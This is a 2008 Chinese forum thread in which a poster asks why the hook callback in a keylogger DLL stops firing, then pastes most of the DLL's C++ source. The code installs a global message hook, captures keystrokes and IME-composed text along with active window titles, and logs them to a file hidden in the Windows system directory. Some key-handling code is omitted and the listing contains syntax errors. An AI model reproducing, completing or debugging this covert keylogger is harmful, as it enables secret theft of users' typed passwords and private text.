首页
社区
课程
招聘
[求助]在dll中调用钩子函数的问题
发表于: 2008-5-23 17:42 5292

[求助]在dll中调用钩子函数的问题

2008-5-23 17:42
5292
小弟写了个键盘记录的dll 在exe中调用可以成功地截取到键盘消息
可是在dll中调用那个键盘记录的dll,刚开始的时候回调函数执行了几次,后面就不执行了。
各位大哥可知道这是为什么?

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
2
可以把代码贴出来看看。
2008-5-24 12:21
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
#include "stdafx.h"
#include <stdio.h>
#include <imm.h>
#include <fstream.h>
#include <string.h>
#pragma comment(lib,"imm32.lib") 

#pragma data_seg("YCIShared")
HHOOK KBhookCn=NULL;    
#pragma data_seg()             
   
static HWND g_hLastFocus=NULL;
const int KeyPressMask=0x80000000;
char Path[MAX_PATH];

HMODULE WINAPI ModuleFromAddress(PVOID pv) 
{
	MEMORY_BASIC_INFORMATION mbi;
	if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)
	{
		return (HMODULE)mbi.AllocationBase;
	}
	else
	{
		return NULL;
	}
}
LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam);
void WINAPI  SetKBHookCn(BOOL bInstall, DWORD dwThreadId)
{
	if (bInstall)
	{
		OutputDebugString("hook Install ");
		KBhookCn=::SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)KBhookCn_deal,ModuleFromAddress(KBhookCn_deal),dwThreadId);
		if (KBhookCn==NULL)
		{
			OutputDebugString("安装钩子失败 FALSE");
			return;
		}
		OutputDebugString("Installed ");
	}else
	{
		OutputDebugString("unhook  ");
		if(KBhookCn!=NULL)
		{
			if(::UnhookWindowsHookEx(KBhookCn)==0)
			OutputDebugString("卸载钩子失败 FALSE");
			else{
				KBhookCn=NULL;
			}
		}
	}
	
}
LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam)
{	
	LRESULT lResult = CallNextHookEx(KBhookCn, nCode, wParam, lParam);
	PMSG pmsg = (PMSG)lParam;
	if(nCode != HC_ACTION) return 0;
	OutputDebugString("HC_ACTION  "); 这一句开始的时候会被执行几次,之后回调函数失效
	char str[128];
	memset(str,'\0',128);
	if(pmsg->message==WM_IME_COMPOSITION)
	{
		OutputDebugString("WM_IME_COMPOSITION  ");//这里没有执行过
		HWND hFocus; 
		char szTitle[256];  
		hFocus=GetActiveWindow(); 
		if(g_hLastFocus!=hFocus)
		{
			GetWindowText(hFocus,szTitle,256); 
			g_hLastFocus=hFocus;
			ofstream file(Path,ios::ate);  
			file<<"\r\n\r\n"<<szTitle<<"\r\n";
			
		}

		HIMC hIMC;
		HWND hWnd;
		hWnd=pmsg->hwnd;
		DWORD dwSize;	
		char lpstr[128];
		if(pmsg->lParam & GCS_RESULTSTR)
		{
			hIMC = ImmGetContext(hWnd);
			if(!hIMC)
			{
				return 0;
			}
			dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);	
			dwSize += sizeof(WCHAR);
			memset(lpstr, 0, sizeof(lpstr));
			ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
			strcat(str,lpstr);
			ofstream file(Path,ios::ate);  
			file<<lpstr;
			ImmReleaseContext(hWnd, hIMC);
		}
		return 0;
	}
	if(pmsg->message==WM_KEYDOWN)
	{
		 OutputDebugString("WM_KEYDOWN  ");
		char ch;
		HWND hFocus; 
		char szTitle[256];  
		hFocus=GetActiveWindow(); 
		if(g_hLastFocus!=hFocus)
		{
			ofstream file(Path,ios::ate);
			GetWindowText(hFocus,szTitle,256); 
			g_hLastFocus=hFocus;
			file<<"\r\n\r\n"<<szTitle<<"\r\n";
			
		}
		......省略处理键盘消息的代码(分析消息,保存文件,太长了)。
			       return 0;
	   }
	}	
}
BOOL APIENTRY DllMain( HANDLE hModule, 
		      DWORD  ul_reason_for_call, 
		      LPVOID lpReserved
		      )
{
	switch(ul_reason_for_call){
	case DLL_PROCESS_ATTACH:
		GetSystemDirectory(Path,MAX_PATH);
		strcat(Path,("\\fengz.txt"));
		break;
	case DLL_PROCESS_DETACH:
		break;
	default:
		break;
	}
	return TRUE;
}
2008-5-24 13:47
0
游客
登录 | 注册 方可回帖
返回
//